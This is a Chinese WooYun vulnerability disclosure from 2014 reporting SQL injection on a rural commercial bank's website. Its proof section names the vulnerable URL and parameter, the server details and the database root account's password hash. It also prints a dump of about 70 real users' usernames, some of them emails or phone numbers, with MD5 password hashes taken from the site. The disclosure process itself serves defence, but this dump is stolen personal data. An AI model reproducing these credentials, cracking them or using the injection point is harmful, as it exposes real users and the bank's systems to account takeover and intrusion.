当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077998

漏洞标题：某农村商业银行官网存在SQL注射未知的密码泄露

相关厂商：某农村商业银行

漏洞作者： 雅柏菲卡

提交时间：2014-10-01 08:33

修复时间：2014-11-15 08:34

公开时间：2014-11-15 08:34

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-01： 细节已通知厂商并且等待厂商处理中
2014-10-11： 厂商已经确认，细节仅向厂商公开
2014-10-21： 细节向核心白帽子及相关领域专家公开
2014-10-31： 细节向普通白帽子公开
2014-11-10： 细节向实习白帽子公开
2014-11-15： 细节向公众公开

简要描述：

..............

详细说明：

.......

漏洞证明：

Target: 		http://www.jynsh.com/show.php?cid=424&id=22522
Host IP:		42.159.204.104
Web Server: 	Apache/2.2.4 (Win32) PHP/5.2.3
Powered-by: 	PHP/5.2.3
DB Server: 	MySQL >=5
Resp. Time(avg):	3711 ms
Sql Version: 	5.0.45-community-nt-log
Current User: 	root@localhost
Host Name: 	fengfan001
Current DB: 	jynshcom
System User: 	root@localhost
Compile OS: 	Win32
DB User & Pass: 	root:*87EBD1E115F78699D7CA8C861CAF994BAA8ADB30:localhost
Installation dir: 	C:AppServMySQL
Data Bases: 	information_schema
		jynshcom
		mysql
		phpmyadmin
		test
Data Found: password,username,id=5172a2a419316b8eaecdde1246292bd2^hejiamiao^44
Data Found: password,username,id=a8ea18b50690aee3d25c88d42ee68892^melon^42
Data Found: password,username,id=b4076bdfe0b4edcead725e504a162300^xwc123456^45
Data Found: password,username,id=662be8a28444fe9b80595f92b8493fc4^aykjzx^43
Data Found: password,username,id=f97d7f2a3b6fa4a51b7a729ae9d7cf41^jiyuanyidong^47
Data Found: password,username,id=410a8af027df98c905a827b6d5ddb861^lipu128^49
Data Found: password,username,id=535b1359f98a0054bfb2b5839ad77e6f^1524217@qq.com^48
Data Found: password,username,id=e10adc3949ba59abbe56e057f20f883e^wangjing^50
Data Found: password,username,id=967378293616ecba0ec8b62546a4799a^xuzzza^52
Data Found: password,username,id=89654bd45431b527ec6368a890871536^linfang328^56
Data Found: password,username,id=80a40c46caa2f9fb54fdc59c887ad3f8^lgxz1314^59
Data Found: password,username,id=c1643a02fd4e7faf7fd006c924c4b519^niudong^46
Data Found: password,username,id=25db08f11ded646980e6c0235ca59100^jywwh^61
Data Found: password,username,id=718fb2d6a220b498dc555b19e5d6e012^xl15138813066^60
Data Found: password,username,id=25db08f11ded646980e6c0235ca59100^jynsh00^62
Data Found: password,username,id=b2d3267dd31efbc378ad581b5a3a7fd4^mianhuatang741^58
Data Found: password,username,id=d1229416145e525327ea16eacca06add^ren901108^57
Data Found: password,username,id=e10adc3949ba59abbe56e057f20f883e^zzcache^63
Data Found: password,username,id=9b60ee61073ca79c03539f4fcf4a1a34^LIUTAO^66
Data Found: password,username,id=f1278a205d2cbc55a396c1fc46fb81b3^529322868^67
Data Found: password,username,id=e95c0b5abf1c219e0d8ccd732a72e507^zhaogq86^69
Data Found: password,username,id=6e310aef44f1b3c585a5825f4909fc03^dangyang1981^64
Data Found: password,username,id=3c086f596b4aee58e1d71b3626fefc87^jiweiwei^68
Data Found: password,username,id=01e63255885dd5f6a2f1d4f83807e1de^677cwf^71
Data Found: password,username,id=7e092307115e96432fc2ef069c405648^wyc135264^70
Data Found: password,username,id=3b9d6c6de3dcc525bafad8a3702fbca5^JIABEI^72
Data Found: password,username,id=ce39a57b8c1aafae4a39bb93649c609f^15239039678^73
Data Found: password,username,id=e05750f7254f66ecb2bd6a43ab5369ef^luwei1733^75
Data Found: password,username,id=5e720d87f472bf8d87bf5c8f25a47f4c^v9999995^76
Data Found: password,username,id=ce39a57b8c1aafae4a39bb93649c609f^15239039678^74
Data Found: password,username,id=5dae069c20ec7d584c2ad2220b9dd35f^yangyanwei8^78
Data Found: password,username,id=2edfd3b4ae7921195f2e1eee26a752a7^lvtingting^77
Data Found: password,username,id=17fa828cf2d5bfe0e6e188e9fd8db945^zhaiyunxiao^81
Data Found: password,username,id=aa733bcf1c70ba3d48d647187c3aeefe^a360743658^79
Data Found: password,username,id=aa733bcf1c70ba3d48d647187c3aeefe^a360743658^80
Data Found: password,username,id=ad868e95c84c0c6620e6801b29862f43^qq324444438^83
Data Found: password,username,id=469b4509d505138c69fce137989da89d^yingfengqingshao^82
Data Found: password,username,id=ad868e95c84c0c6620e6801b29862f43^qq324444438^84
Data Found: password,username,id=23375ee31d3208496adcdf3a2baa6bf6^q3063^85
Data Found: password,username,id=23375ee31d3208496adcdf3a2baa6bf6^q3063^86
Data Found: password,username,id=af87a63590bf7f916acac6789ef3a13e^CN4479441^87
Data Found: password,username,id=af87a63590bf7f916acac6789ef3a13e^xuyanmiao1983^88
Data Found: password,username,id=af87a63590bf7f916acac6789ef3a13e^xuyanmiao1983^89
Data Found: password,username,id=da87009b37b3bf753b658f9a9f8c2a65^yuanzhaobo^91
Data Found: password,username,id=87187027f50a9e639cb9d5a8713a4a87^wenle0211^92
Data Found: password,username,id=8dfaef671d802a7e649f171db37ce515^lin815^90
Data Found: password,username,id=fa6b7e91931b085ad2925a0a4e64c7ef^huahuaniu^54
Data Found: password,username,id=74e4749e6a70edca2c1993412d3602e2^lzk2652^65
Data Found: password,username,id=96e79218965eb72c92a549dd5a330112^wind204578^55
Data Found: password,username,id=412b7ee19961676b97a89cb04a22d7d3^renyao12315^93
Data Found: password,username,id=412b7ee19961676b97a89cb04a22d7d3^renyao12315^94
Data Found: password,username,id=2013a129827f1e57e5ec39b03f41075b^wang521888^95
Data Found: password,username,id=1e888de3fda61aeeb0fb670d318c5a24^sunhuanhuanz^96
Data Found: password,username,id=023299564b0db47d5f3e476a254d0c21^hongkuzi^99
Data Found: password,username,id=d41d8cd98f00b204e9800998ecf8427e^^98
Data Found: password,username,id=d41d8cd98f00b204e9800998ecf8427e^^97
Data Found: password,username,id=
Data Found: password,username,id=
Data Found: password,username,id=baffb01daae6662a15b3399c1426745c^xiao2323^103
Data Found: password,username,id=2f58288c8e3f758b8b628ea0a5e4e56c^770775002^101
Data Found: password,username,id=189296cba1508ecca38dfcb46ae9ee22^cnhnjyynn^102
Data Found: password,username,id=9b3da28aa5ff11e6d754055ce7311717^JYSHSHNS^100
Data Found: password,username,id=a88ae498d86858354a1bd936785fe112^Xiaoma^105
Data Found: password,username,id=ac6dba95d0f4b2bcd1efa224ebf3a84a^foxin^106
Data Found: password,username,id=baffb01daae6662a15b3399c1426745c^xiao2323^104

修复方案：

.......

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-10-11 09:32

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-10-01 08:45 | 天地不仁 以万物为刍狗 ( 普通白帽子 | Rank:977 漏洞数:264 | 天地本不仁 万物为刍狗)

    又是银行的节奏。。。。